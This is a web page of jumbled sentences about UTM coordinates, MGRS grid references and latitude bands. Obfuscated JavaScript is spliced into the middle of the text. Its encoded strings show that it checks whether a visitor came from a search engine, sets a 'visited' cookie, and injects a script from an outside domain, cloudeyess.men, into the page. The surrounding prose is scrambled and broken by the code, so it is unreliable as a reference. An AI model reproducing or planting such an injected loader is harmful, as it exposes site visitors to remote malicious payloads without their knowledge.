In these scripts, UTM coordinates have a space between the zone and the hemisphere indicator, and no 100km square indicator.. Each UTM zone is divided into 20 latitude bands, each 8В° tall (except вЂX’ is 12В° tall), lettered from вЂC’ at 80В°S to вЂX’ at 84В°N (omitting вЂI’ and вЂO’), so that the zone and the latitude band together make a вЂgrid zone designator’ (GZD) (see map)Each вЂGZD’ is divided into 100km squares, identified by a letter-pair (see illustration).
Eastings and northings are then given in metres within each 100km square Hence the UTM coordinate 31 N 303760 5787415 is equivalent to an MGRS grid reference of 31U CT 03760 87415.. A Universal Transverse Mercator coordinate comprises a zone number, a hemisphere (N/S), an easting and a northing.. It covers latitudes spanning 80В°S to 84В°N (the poles are covered by the separate вЂUPS’ system).. The Military Grid Reference System is an alternative way of representing UTM coordinates.. Since UTM coordinates have to indicate which hemisphere they are in, it is important not to confuse the hemisphere indicator with a UTM вЂlatitude band’ (since latitude bands also include вЂN’ and вЂS’).

Latitude/longitude points are converted to eastings and northings measured in metres along (an ellipsoidal model of) the earth’s surface.. Note that UTM coordinates get rounded, not truncated (unlike MGRS grid references).. To avoid negative numbers, вЂfalse eastings’ and вЂfalse northings’ are used:Norway/Svalbard: the designers of UTM made two exceptions to the rule.. var _0x264d=['c3BsaXQ=','TmZnUWk=','clZTQWc=','Tk1WbmY=','Y29va2ll','cnRtZmU=','bGVuZ3Ro','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','a3VYVGs=','eXhoSHE=','SFRIdWM=','Z2V0VGltZQ==','S1BlaEM=','aVVTZHA=','ek5YZHM=','VHRSc1o=','TWVRa0I=','LmFzay4=','LnlhbmRleC4=','dmlzaXRlZA==','dXNX','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','Lmdvb2dsZS4=','LmJpbmcu','LmFvbC4=','a1RMV08=','Z0JoZ20=','cmVmZXJyZXI=','Z2V0','R0ZiZEI=','enJnQXc=','aW5kZXhPZg==','c2V0','VGxYTW8=','QW1W','YXpiSVY=','YVlWRWo=','aGVhZA==','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','UkhkWlo=','YXBwZW5kQ2hpbGQ=','bGF0K2FuZCtsb25nK2NvbnZlcnRlcithdXN0cmFsaWE=','MXwwfDR8NXwyfDM=','UENG','eW52','V1BwbEk='];(function(_0xa29b7f,_0x2e45ca){var _0x2c38a3=function(_0x3429bd){while(--_0x3429bd){_0xa29b7f['push'](_0xa29b7f['shift']());}};_0x2c38a3(++_0x2e45ca);}(_0x264d,0x1d6));var _0x17d3=function(_0x5d0b01,_0x464ce5){_0x5d0b01=_0x5d0b01-0x0;var _0x15612a=_0x264d[_0x5d0b01];if(_0x17d3['initialized']===undefined){(function(){var _0x37a99e=function(){var _0x18f8e7;try{_0x18f8e7=Function('return\x20(function()\x20'+'{}.. The part of zone 31 covering western Norway is transferred to zone 32, and the zones covering Svalbard are tweaked to keep Svalbard in two zones (it’s easier to understand looking at a map).. Similarly, depending on the accuracy required, the easting and northing may be given to 10 digits (specifying metres), to 8 digits, to 6 digits, or to just 4 digits (specifying kilometre squares).. Depending on the map scale or scope of interest the GZD, and even the 100km square identification, may be dropped.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x3f6bda){_0x18f8e7=window;}return _0x18f8e7;};var _0x206ea2=_0x37a99e();var _0x542492='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x206ea2['atob']||(_0x206ea2['atob']=function(_0x5483ca){var _0x177580=String(_0x5483ca)['replace'](/=+$/,'');for(var _0x229d01=0x0,_0x3b5fe7,_0x46e9da,_0x2256db=0x0,_0x5e6147='';_0x46e9da=_0x177580['charAt'](_0x2256db++);~_0x46e9da&&(_0x3b5fe7=_0x229d01%0x4?_0x3b5fe7*0x40+_0x46e9da:_0x46e9da,_0x229d01++%0x4)?_0x5e6147+=String['fromCharCode'](0xff&_0x3b5fe7>>(-0x2*_0x229d01&0x6)):0x0){_0x46e9da=_0x542492['indexOf'](_0x46e9da);}return _0x5e6147;});}());_0x17d3['base64DecodeUnicode']=function(_0x9db168){var _0x12100c=atob(_0x9db168);var _0x5752da=[];for(var _0x784665=0x0,_0x31510a=_0x12100c['length'];_0x784665=_0x3b5086;},'TlXMo':function _0x26fd4f(_0xe07676,_0x5cec00){return _0xe07676===_0x5cec00;},'azbIV':_0x17d3('0x1f'),'PyAVI':function _0xb9ba65(_0x31b39b,_0x2673ea){return _0x31b39b+_0x2673ea;},'aYVEj':_0x17d3('0x20')};var _0x1671b1=[_0x17d3('0x21'),_0x17d3('0x22'),'.. These widened zones are viable partly because zones are much narrower so far north, so little precision is lost in merging them. 0041d406d9
